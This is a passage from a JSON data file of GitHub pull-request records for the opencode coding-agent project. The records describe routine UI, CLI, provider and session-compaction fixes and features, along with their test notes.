          "automated-pr-cleanup"
        ],
        "author": "aditya-vithaldas",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36469",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): respect sidebar width threshold",
        "text": "### Issue for this PR Closes #36417 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Removes the temporary `sidebarOpen` override from the TUI session view. Sidebar visibility is now controlled by the persisted `auto` or `hide` setting and the existing terminal-width check, so enabling it cannot force the sidebar over content in a narrow terminal. ### How did you verify your code works? - `bun typecheck` from `packages/tui` - `bun test test/index.test.tsx` ### Screenshots / recordings Not included. The change restores the existing narrow-terminal hidden state and does not introduce new UI. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36469",
        "createdAt": "2026-07-11T23:39:37Z",
        "updatedAt": "2026-08-12T22:14:12Z",
        "timestamp": "2026-08-12T22:14:12Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "aditya-vithaldas",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36471",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): paste clipboard on right click",
        "text": "### Issue for this PR Closes #36456 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Makes right-click dispatch the existing `prompt.paste` command when mouse capture is enabled and the prompt is focused. This supports clipboard text and images while preserving the experimental right-click copy behavior. Unlike #32064, which is limited to Windows-specific terminal behavior, this fixes the default captured-mouse path reported on Linux and avoids pasting behind dialogs by requiring prompt focus. ### How did you verify your code works? - `bun typecheck` from `packages/tui` - `bun test test/app-lifecycle.test.tsx test/index.test.tsx` (3 passed) ### Screenshots / recordings Not included. Clipboard insertion is an input interaction without a stable visual before/after state. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36471",
        "createdAt": "2026-07-12T01:05:49Z",
        "updatedAt": "2026-08-12T22:14:34Z",
        "timestamp": "2026-08-12T22:14:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "aditya-vithaldas",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36478",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(cli): preserve server startup failure cause",
        "text": "## What When the managed background service exits before registering, the CLI now explains what happened and what to do next instead of dumping a raw Effect error and bundled stack frames. **1. The background service does not register** OpenCode starts its normal managed-service flow, but the child exits before creating its registration. ```text Starting background server... ``` **2. OpenCode presents the failure** The product output stays concise and uses the shipped CLI name for its recovery commands. ```text OpenCode could not start its background service The service exited or never became ready. The expected registration file was not created. Try: opencode2 service restart OPENCODE_LOG_LEVEL=DEBUG opencode2 ``` The default terminal no longer exposes `/$bunfs/root` paths or Effect frames. The complete typed cause remains in OpenCode's normal file log for debug diagnosis. ## How - `packages/client/src/effect/service.ts` returns a typed `Service.StartError` with `spawn`, `registration`, or `readiness` stage information and preserves the original cause. Spawn completion now observes the child process's `spawn`/`error` events, so command launch failures are classified directly. - `packages/cli/src/framework/startup-error.ts` handles only `Service.StartError` at the CLI's top-level Effect boundary. It writes the user-facing presentation, records the full Effect cause through the existing observability layer, and leaves unrelated failures on the existing renderer. - The recovery command comes from `Commands.name`, which is injected as `opencode2` in the compiled V2 binary and remains `opencode` for source runs. - `packages/cli/test/service.test.ts` covers a real child that exits before registration and a nonexistent spawn command. It asserts the exact rendered registration output and the retained nested cause. ## Scope This PR changes managed background-service startup failure classification and CLI presentation only. It does not change compatibility detection, service election, retry duration, or service-status behavior tracked by #36274. Fixes #35158 ## Testing - `bun run test` from `packages/cli`: 27 passed, 0 failed across 7 files. - `bun run test test/effect.test.ts test/contract-identity.test.ts test/import-boundaries.test.ts` from `packages/client`: 9 passed, 0 failed. - `bun typecheck` from `packages/cli`: passed. - `bun typecheck` from `packages/client`: passed. - `bunx prettier --check src/index.ts src/framework/startup-error.ts test/service.test.ts ../client/src/effect/service.ts` from `packages/cli`: passed. - `bun run build --single --skip-install` from `packages/cli`: built the native `opencode2` V2 binary. - Real-service terminal capture at `120x40`: the compiled child exited before registration; default output contained no stack frames, while `opencode.log` retained `ServiceStartError -> PlatformError -> ENOENT`. - Push hook `bun turbo typecheck --concurrency=3`: 31 tasks passed. ## Demo Both screenshots use compiled V2 binaries, the same real managed-service failure, and identical `120x40` terminal dimensions. **Before (`9ff7df07d6`)** The CLI emits the generic raw failure, internal paths, and the complete Effect stack. ![Before: raw startup failure and Effect stack](https://github.com/user-attachments/assets/19fe1f67-c057-4429-8a33-0fac95f1d0ae) **After (`3b03692aef`)** The CLI emits the actual user-facing startup failure presentation. ![After: actionable background service startup failure](https://github.com/user-attachments/assets/90d453b5-7721-49c5-8d50-73fef7815efa)",
        "url": "https://github.com/anomalyco/opencode/pull/36478",
        "createdAt": "2026-07-12T01:31:37Z",
        "updatedAt": "2026-08-12T22:14:57Z",
        "timestamp": "2026-08-12T22:14:57Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor",
          "automated-pr-cleanup"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36488",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session-ui): escape direction:rtl bidi issue in message-part-directory via LRE/PDF wraps",
        "text": "### Issue for this PR Closes #36489 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? PR #9591 fixed a text rendering bug where `direction: rtl` + `text-overflow: ellipsis` on paths starting with a leading dot (e.g. `.config/opencode/`) causes the dot to be misplaced by the Unicode bidirectional algorithm. The fix wrapped directory text in LRE (`\\u202A`) / PDF (`\\u202C`) in `session-review.tsx` and `session-turn.tsx`. This PR applies the same fix to the 3 `message-part-directory` sites in `message-part.tsx` that were missed in that change: - edit-trigger (line 2162) - write-trigger (line 2229) - patch tool (line 2411) ### How did you verify your code works? Verified by inspecting the rendered DOM in the opencode UI with `.config/opencode/` paths. ### Screenshots / recordings | Before | Fixed | |--------|--------| | ![config/opencode./](https://github.com/user-attachments/assets/a61693b5-7246-4d88-be16-27ba4eccf6a6) | ![.config/opencode/](https://github.com/user-attachments/assets/fa491a2f-34ef-4fae-ad58-dd19eb213b57) | ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36488",
        "createdAt": "2026-07-12T03:29:30Z",
        "updatedAt": "2026-08-12T22:15:20Z",
        "timestamp": "2026-08-12T22:15:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "windlandneko",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36497",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(web): pagefind.js missing on docs site",
        "text": "### Issue for this PR https://github.com/anomalyco/opencode/issues/36388 https://github.com/anomalyco/opencode/issues/17343 https://github.com/anomalyco/opencode/issues/26157#issuecomment-4402999957 Closes #36388 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Add routes.extend.exclude to the Cloudflare adapter configuration to explicitly exclude pagefind assets from Worker routing: ```patch adapter: cloudflare({ imageService: \"passthrough\", + routes: { + extend: { + exclude: [{ pattern: \"/docs/pagefind/*\" }], + }, + }, }), ``` After fix the generated ` _routes.json` exclude list now includes pagefind: ```json { \"include\": [\"/*\"], \"exclude\": [\"/docs\", \"/docs/_astro/*\", ..., \"/docs/pagefind/*\"] } ``` ### How did you verify your code works? I deployed a fixed version on CF, docs searching works fine, maybe more test needed. [doc site for testing ](https://opencode-docs-test.pages.dev/docs/fr/) ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36497",
        "createdAt": "2026-07-12T04:55:07Z",
        "updatedAt": "2026-08-12T22:15:43Z",
        "timestamp": "2026-08-12T22:15:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "ShiftWatchOut",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36526",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): add interactive session search",
        "text": "### Issue for this PR Closes #4714 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds interactive incremental search over the current session transcript — readline/less-style rather than a modal prompt. Press `ctrl+r` and a search bar attaches to the top of the prompt input: ``` │ …transcript scrolls live to the nearest match as you type… │ │ │ ┃ markdown_hash 3/17 ↵ keep · esc back ← search bar ┃ > prompt input (untouched) ← prompt ``` **Behavior** - Typing live-jumps the viewport to the nearest match at-or-above your position (reverse-i-search semantics); refining the query stays on the current match when it still matches - `ctrl+r`/`up` = older match, `ctrl+s`/`down` = newer, wraparound with a `3/17` counter; bar turns red on zero matches - `esc`/`ctrl+c` cancels and restores the exact scroll position (sticky-bottom aware); `enter` accepts and keeps position; `ctrl+r` on an empty bar recalls the last query - Smartcase (any uppercase in the query = case-sensitive), literal matching, unicode-safe offsets - Matches are occurrence-level (a term appearing 5x in one long reply is 5 distinct stops) with soft-wrap-aware row estimation so matches center on screen - Also available as `/search`, `/find`, and command palette entries; search state resets on session switch **In-place highlighting (including inside markdown)** Markdown prose and code blocks render through `CodeRenderable`, so this uses its public `onHighlight` hook to append match spans to the tree-sitter highlights — no opentui changes needed. Non-active matches render in a neutral tone, the active match in `warning` (bold), via two new syntax scopes (`search.match`, `search.match.active`). User messages get the same treatment with text spans. Highlighting only engages when total hits <= 200 so broad one-letter queries don't re-highlight every part per keystroke. **Keybind note (deliberate, happy to change)** `messages_search` defaults to `ctrl+r`, and `session_rename` moves to `none` (still available in the command palette and remappable). Rationale: reverse-search muscle memory is strong, and rename felt like a lower-frequency action to hold a prime binding. If you'd rather keep rename on `ctrl+r`, I can default search to `<leader>/` or anything else — one-line change. Related prior art: #34297 takes a dialog-based approach with message-level granularity; this PR went inline/incremental after reading the feedback in #4714 about UI placement. ### How did you verify your code works? - `bun test` from `packages/tui` (25 new unit tests over the pure search core: unit collection mirroring rendered content, occurrence offsets/lines, smartcase, regex-literal escaping, astral unicode offsets, wraparound, viewport-relative initial-match selection, highlight tuples, soft-wrap row estimation) — 217 pass - `bun typecheck` from `packages/tui` — clean - Extensive manual TUI testing in a real terminal: open, live jump, cycle+wrap, esc restore, ctrl+c close, empty-bar recall, 0/0 state, smartcase, in-markdown highlight rendering (prose + code blocks), active-match cycling, streaming sessions, session switching, light/dark theme input visibility ### Screenshots / recordings Happy to attach a recording if useful. <img width=\"1290\" height=\"717\" alt=\"opencode-isearch\" src=\"https://github.com/user-attachments/assets/8a5f9526-147a-4388-b024-c480762fdbc9\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36526",
        "createdAt": "2026-07-12T14:35:15Z",
        "updatedAt": "2026-08-12T22:16:06Z",
        "timestamp": "2026-08-12T22:16:06Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "albertdbio",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36528",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): define OPENCODE_VERSION in the node server build",
        "text": "### Issue for this PR Closes #30197 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The node server bundle that the desktop app ships as its sidecar is built by `script/build-node.ts`, which defines `OPENCODE_CHANNEL` but not `OPENCODE_VERSION` (the CLI build in `script/build.ts` defines both). At runtime that global doesn't exist, so `InstallationVersion` falls back to `\"local\"` while `InstallationLocal` stays false — and config startup pins the plugin dependency install to `@opencode-ai/plugin@local`, a version that doesn't exist on npm. Every desktop install hits this on every session; #30908 and likely #31708 are the same failure. It also means anything reading `InstallationVersion` in the sidecar reports `local` — session records, telemetry serviceVersion, User-Agent. One line: add the same `OPENCODE_VERSION` define the CLI build already uses. ### How did you verify your code works? Built the bundle before and after with `OPENCODE_VERSION=1.17.18 OPENCODE_CHANNEL=latest`. Before: the bundle still contains the `typeof OPENCODE_VERSION === \"string\" ? OPENCODE_VERSION : \"local\"` fallback (channel is inlined, version is not). After: `InstallationVersion = \"1.17.18\"` is inlined and the fallback is gone, so the dependency install resolves `@opencode-ai/plugin@1.17.18`, which exists on the registry. The `@local` spec in the reported logs matches this exact path — I hit it on my own machine (see #35986 debugging) where the failed install caused the plugin to resolve to workspace TS sources under node. ### Screenshots / recordings n/a ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36528",
        "createdAt": "2026-07-12T15:10:44Z",
        "updatedAt": "2026-08-12T22:16:28Z",
        "timestamp": "2026-08-12T22:16:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "H3XDaemon",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36532",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(provider): do not place Bedrock cachePoint after reasoning blocks",
        "text": "### Issue for this PR Closes #36517 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? On Amazon Bedrock (Anthropic Claude with extended thinking), opencode puts a prompt-cache breakpoint on the last couple of messages. The AI SDK emits message-level `bedrock.cachePoint` after every content part. When an assistant message ends with a reasoning block, that produces: ``` ValidationException: Cache point cannot be inserted after reasoning block. ``` The turn fails, and every retry rebuilds the same invalid request, so the session is stuck until that message ages out of history. This PR: 1. For Bedrock assistant messages that end in reasoning, anchors `cachePoint` on the last non-reasoning content part (or skips it for reasoning-only messages) instead of message-level options. 2. Updates the LLM cache policy so it never marks a pure-reasoning assistant message, and prefers text / last non-reasoning parts. 3. Adds regression tests for both the AI SDK transform path and the Bedrock Converse / cache-policy path. #### Bug path ```mermaid flowchart LR A[applyCaching<br/>message-level cachePoint] --> B[AI SDK convert] B --> C[push cache after<br/>all content parts] C --> D{last part is<br/>reasoning?} D -->|yes| E[wire: text → reasoning → cachePoint] E --> F[Bedrock 400<br/>ValidationException] F --> G[message stays in history] G --> H[retry rebuilds same request] H --> F D -->|no| I[OK — cache after text/tool] ``` #### Fix decision ```mermaid flowchart TD S[Bedrock assistant message<br/>needs a cache breakpoint] --> Q1{last content part<br/>is reasoning?} Q1 -->|no| M[keep message-level<br/>cachePoint — old behavior] Q1 -->|yes| Q2{any non-reasoning<br/>part exists?} Q2 -->|yes| A[anchor cachePoint on<br/>last non-reasoning part] Q2 -->|no| K[skip cachePoint<br/>reasoning-only message] A --> OK[wire: text → cachePoint → reasoning ✅] K --> OK2[no illegal cache after reasoning ✅] M --> OK3[wire ends with text/tool ✅] ``` #### Before / after wire layout ```mermaid flowchart TB subgraph before [Before — illegal] direction TB B1[text] --> B2[reasoning] --> B3[cachePoint ❌] end subgraph after [After — legal] direction TB A1[text] --> A2[cachePoint ✅] --> A3[reasoning] end ``` ### How did you verify your code works? - `cd packages/opencode && bun test test/provider/transform.test.ts` (includes three new cases for #36517) - `cd packages/llm && bun test test/provider/bedrock-converse.test.ts test/cache-policy.test.ts` - `cd packages/opencode && bun typecheck` - `cd packages/llm && bun typecheck` New regression coverage (6 tests, all pass): | Package | Test | |---------|------| | opencode transform | anchors cachePoint on last non-reasoning part | | opencode transform | skips cachePoint for reasoning-only assistant | | opencode transform | keeps message-level cache when not trailing reasoning | | llm cache-policy | latest-assistant anchors on text before reasoning | | llm cache-policy | skips markers for reasoning-only assistant | | llm bedrock-converse | does not place cachePoint after trailing reasoning | ### Screenshots / recordings **Flow diagrams:** Mermaid charts above (bug path, fix decision, before/after wire). **Test results** (local `bun test`, 6 new cases, all green): ![Test results for #36517 — 6 new tests pass](https://raw.githubusercontent.com/giggling-ginger/opencode/bedrock-cache-reasoning/.pr-assets/36517-test-results.png) ``` packages/opencode transform.test.ts 3 pass packages/llm cache-policy + converse 3 pass ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36532",
        "createdAt": "2026-07-12T16:01:55Z",
        "updatedAt": "2026-08-12T22:16:51Z",
        "timestamp": "2026-08-12T22:16:51Z",
        "metrics": {
          "reactions": 1,
          "comments": 3
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "giggling-ginger",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36538",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): undo recent prompt with double escape",
        "text": "## Summary - track normal TUI prompt submissions for a two-second quick-undo window - make the second Escape abort and revert the exact submitted message - restore the prompt through the existing session revert flow and keep input focus ## Verification - `bun test src/component/prompt/quick-undo.test.ts` - `bun run typecheck` - `bun x prettier --check src/component/prompt/index.tsx src/component/prompt/quick-undo.ts src/component/prompt/quick-undo.test.ts`",
        "url": "https://github.com/anomalyco/opencode/pull/36538",
        "createdAt": "2026-07-12T16:47:57Z",
        "updatedAt": "2026-08-12T22:17:13Z",
        "timestamp": "2026-08-12T22:17:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor",
          "automated-pr-cleanup"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "R44VC0RP"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36548",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(i18n): complete Portuguese (Brazil) translation for UI and app",
        "text": "### Issue for this PR Closes #35831 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? This PR completes the Portuguese (Brazil) translation for OpenCode by adding all missing keys in both: - \\packages/ui/src/i18n/br.ts\\ (added 23 missing UI strings) - \\packages/app/src/i18n/br.ts\\ (added 142 missing app strings) All keys are now in full parity with the English source files. The translations cover: - Session review UI, diff viewer controls, line comments - WSL onboarding flow, home screen sessions - Project/workspace management - Settings UI (shell, file tree, navigation, terminal, status, mobile layout) - Error pages and various missing keys throughout ### How did you verify your code works? - All keys match the English source (0 missing, 0 extra) - Proper variable interpolation preserved (\\{{variable}}\\) - Tested language switching in the OpenCode desktop app ### Screenshots / recordings N/A - Translation-only change, no visual differences. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36548",
        "createdAt": "2026-07-12T18:43:12Z",
        "updatedAt": "2026-08-12T22:17:35Z",
        "timestamp": "2026-08-12T22:17:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "RicSchonfelder",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36549",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(agent): add hiddenFromCycle config option to hide agents from tab rotation",
        "text": "### Issue for this PR Closes #36494 ### Type of change - [x] New feature ### What does this PR do? Adds a new agent config field `hiddenFromCycle` (`hidden_from_cycle` in markdown frontmatter) that hides agents from tab/shift+tab rotation while keeping them visible and selectable via `/agents`. Previously `hidden` controlled both. **What changed:** - V1/V2 config schemas accept `hidden_from_cycle`/`hiddenFromCycle` - Runtime agent service wires the field from config - TUI agent context filters `hiddenFromCycle` agents from rotation but includes them in `/agents` - Generated SDK types include the field ### How did you verify your code works? - TUI typecheck passes - Core typecheck passes - SDK regeneration produces correct types ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36549",
        "createdAt": "2026-07-12T18:51:29Z",
        "updatedAt": "2026-08-12T22:17:57Z",
        "timestamp": "2026-08-12T22:17:57Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "Cretezy",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36550",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): resolve keyboard deadlock in question mode",
        "text": "### Issue for this PR Closes #36382 Closes #30517 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The `QuestionPrompt` component has two `useBindings` calls with mutually exclusive `enabled` conditions: - Editing bindings: `enabled: store.editing && !confirm()` - List bindings: `enabled: !store.editing` When a user starts typing a custom answer (`store.editing = true`) and then clicks the Confirm tab with the mouse (`confirm() = true`), both binding sets become disabled simultaneously. This causes a full keyboard lockout — Enter, Escape, Ctrl+C, and all shortcuts stop responding. Mouse events still work because they bypass the keymap system. The fix: 1. **Reset `editing` on tab change** — `selectTab()` now sets `editing = false`, preventing the deadlock state from being reachable. 2. **Add `priority: 1`** to both binding sets so they take precedence over the global `managedTextareaLayer` (which can intercept Enter when a textarea has focus). 3. **Add `app.exit` to editing mode bindings** so Ctrl+C works while typing a custom answer. 4. **Key `QuestionPrompt` by request** using `<Show keyed>` so stale internal state doesn't persist across different question requests. ### How did you verify your code works? Reproduced the deadlock locally by entering \"Type your own answer\" editing mode then clicking the Confirm tab. Verified that after the fix, keyboard remains responsive in all tab/editing combinations. Typecheck passes (`bun typecheck` from `packages/tui`). ### Screenshots / recordings _N/A — keyboard input fix, no visual change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36550",
        "createdAt": "2026-07-12T19:06:12Z",
        "updatedAt": "2026-08-12T22:18:21Z",
        "timestamp": "2026-08-12T22:18:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor",
          "automated-pr-cleanup"
        ],
        "author": "maharshi365",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36554",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): preserve shell output tail",
        "text": "## Summary - add `keep: \"head\" | \"tail\"` to shell output pagination, defaulting to `head` - have ShellTool keep the final capture window without reaching into Shell backing storage - add a regression test proving the tail marker remains, the head marker is omitted, and the saved-output notice remains - regenerate current client surfaces for the query option ## Tests - `bun test test/tool-shell.test.ts` - `bun typecheck` (core, schema, server, client)",
        "url": "https://github.com/anomalyco/opencode/pull/36554",
        "createdAt": "2026-07-12T19:39:07Z",
        "updatedAt": "2026-08-12T22:18:44Z",
        "timestamp": "2026-08-12T22:18:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor",
          "automated-pr-cleanup"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36559",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): add SIGKILL fallback to Process.stop()",
        "text": "### Issue for this PR Closes #36558 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `Process.stop()` in `packages/opencode/src/util/process.ts` only sent `proc.kill()` (SIGTERM) with no timeout or SIGKILL fallback. When an LSP server ignores SIGTERM (e.g. rust-analyzer, clangd), the process remains as a zombie — no escalation to SIGKILL ever happens. The `abort` handler in `Process.spawn()` (same file, line 74) already had the correct pattern: SIGTERM → 5s timeout → SIGKILL. `stop()` was simply missing this escalation chain. The fix wraps the existing `proc.kill(\"SIGTERM\")` with a race between the process exit event and a 5-second timer that escalates to SIGKILL. The SDK copy (`packages/sdk/js/src/process.ts`) is updated to stay in sync. ### How did you verify your code works? - `bun typecheck`: 30/30 tasks, all pass - `bun test test/util/process.test.ts`: 10/10 tests pass ### Screenshots / recordings N/A ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/36559",
        "createdAt": "2026-07-12T20:18:59Z",
        "updatedAt": "2026-08-12T22:19:06Z",
        "timestamp": "2026-08-12T22:19:06Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "beowulfof",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36563",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): use catalog small model for session titles",
        "text": "## Summary - Session title generation now prefers `Catalog.model.small(provider)` when the title agent has no explicit model - Falls back to the session model if no small model is available or resolution fails - Agent-configured title model still wins over both ## Test plan - [x] `bun test test/session-title.test.ts` in `packages/core` - [x] `bun typecheck` in `packages/core` - [ ] Manual: first prompt in a new session titles with a cheaper model when one is available for the provider",
        "url": "https://github.com/anomalyco/opencode/pull/36563",
        "createdAt": "2026-07-12T20:55:13Z",
        "updatedAt": "2026-08-12T22:19:29Z",
        "timestamp": "2026-08-12T22:19:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "automated-pr-cleanup"
        ],
        "author": "rekram1-node",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:36589",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): bound compaction request size",
        "text": "## What Large sessions no longer become permanently wedged when their model context fits but the serialized inference request exceeds the service's 10 MiB body limit. Before, auto-compaction only considered model token pressure. A session at roughly 240k of a 1M-token context could therefore skip compaction and receive HTTP 413 forever. Compaction itself could also exceed an upstream body limit because it summarized the entire old history in one request. After this change, OpenCode compacts before the request reaches 8 MiB and rolls large histories through bounded summary requests while preserving a final recent tail. ## How - `packages/core/src/session/runner/llm.ts` builds the semantic request before the compaction decision and measures its system, messages, and tools payload. - `packages/core/src/session/compaction.ts` treats 8 MiB as independent compaction pressure and summarizes old history in 32k-token chunks, carrying each structured summary into the next chunk. - Intermediate summaries remain internal; only the final summary delta and durable compaction result are published. - Compaction output is capped at 4,096 tokens. ## Scope This does not raise the inference service's 10 MiB request-body limit. It keeps OpenCode requests safely below that independent transport boundary. ## Testing - `bun run test test/session-compaction.test.ts` in `packages/core`: 6 passed - `bun typecheck` in `packages/core` - Commit hook: all 31 workspace typechecks passed - Production recovery: the previously wedged Slack-backed session completed bounded compaction, persisted `session.compaction.ended`, and then completed the requested response in the same thread ## Flow ```mermaid flowchart TD A[Build semantic LLM request] --> B{Token pressure or body >= 8 MiB?} B -- no --> C[Send normal model request] B -- yes --> D[Keep recent tail] D --> E[Split older history into bounded chunks] E --> F[Summarize chunk] F --> G{More chunks?} G -- yes --> H[Carry summary into next chunk] H --> F G -- no --> I[Persist final summary + recent tail] I --> A ```",
        "url": "https://github.com/anomalyco/opencode/pull/36589",
        "createdAt": "2026-07-13T01:39:05Z",
        "updatedAt": "2026-08-13T09:08:26Z",
        "timestamp": "2026-08-13T09:08:26Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:37174",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(tui): use command IDs for v2 keybinds",
        "text": "## Summary - define V2 keybinds directly by canonical command ID while keeping the legacy plugin shim on V1 - migrate fresh and existing CLI config keybinds with canonical precedence, duplicate-value preservation, JSONC preservation, and serialized config access - wire app, composer, diff viewer, dialog, and mini commands through resolved V2 bindings - preserve current V2 defaults, including agent cycling, message navigation, MCP toggle, and service restart naming - add runtime coverage for rebinding, disabling, migration, and mini config handoff ## Testing - `bun turbo typecheck --concurrency=3` - TUI suite: 502 passed, 5 skipped - CLI suite: 166 passed with inherited OTLP exporter variables unset",
        "url": "https://github.com/anomalyco/opencode/pull/37174",
        "timestamp": "2026-08-12T12:53:47Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "kommander",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:37298",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): persist selected console organization",
